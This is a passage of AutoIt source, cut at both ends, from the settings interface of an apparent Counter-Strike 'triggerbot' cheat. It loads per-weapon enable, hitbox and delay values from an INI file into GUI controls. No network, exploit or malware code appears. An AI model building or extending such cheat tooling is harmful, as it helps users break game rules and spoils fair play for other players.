IniRead($FileSet, "Weaponsettings", "triggerbot_p90.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p90.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p90.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "mac10" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mac10.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mac10.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mac10.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mac10.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mac10.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "bizon" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_bizon.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_bizon.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_bizon.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_bizon.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_bizon.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "sg553" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sg553.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sg553.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg553.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg553.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg553.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "fiveseven" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_fiveseven.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_fiveseven.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_fiveseven.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_fiveseven.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_fiveseven.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "glock" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_glock.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_glock.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_glock.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_glock.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_glock.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "p228" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_p228.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_p228.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p228.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p228.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p228.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "p250" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_p250.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_p250.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p250.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p250.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_p250.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "usp" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_usp.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_usp.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_usp.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_usp.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_usp.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "famas" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_famas.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_famas.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_famas.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_famas.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_famas.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "ak47" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_ak47.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_ak47.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ak47.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ak47.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ak47.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "nova" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_nova.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_nova.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_nova.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_nova.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_nova.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "mag7" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mag7.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mag7.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mag7.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mag7.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mag7.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "ump45" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_ump45.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_ump45.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ump45.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ump45.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ump45.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "mp7" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mp7.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mp7.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp7.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp7.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp7.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "m4a1" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_m4a1.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_m4a1.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m4a1.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m4a1.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m4a1.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "galil" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_galil.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_galil.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_galil.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_galil.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_galil.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "galilar" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_galilar.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_galilar.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_galilar.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_galilar.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_galilar.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "aug" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_aug.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_aug.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_aug.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_aug.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_aug.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "scar20" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_scar20.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_scar20.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scar20.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scar20.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scar20.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "awp" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_awp.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_awp.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_awp.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_awp.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_awp.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "g3sg1" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_g3sg1.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_g3sg1.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_g3sg1.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_g3sg1.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_g3sg1.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "m249" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_m249.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_m249.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m249.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m249.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m249.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "m3" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_m3.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_m3.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m3.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m3.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_m3.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "mp5navy" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mp5navy.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mp5navy.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp5navy.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp5navy.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp5navy.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "scout" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_scout.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_scout.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scout.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scout.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scout.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "sg550" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sg550.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sg550.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg550.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg550.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg550.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "sg552" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sg552.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sg552.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg552.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg552.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sg552.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "tmp" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_tmp.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_tmp.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_tmp.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_tmp.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_tmp.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "xm1014" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_xm1014.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_xm1014.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_xm1014.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_xm1014.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_xm1014.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "negev" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_negev.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_negev.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_negev.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_negev.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_negev.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir 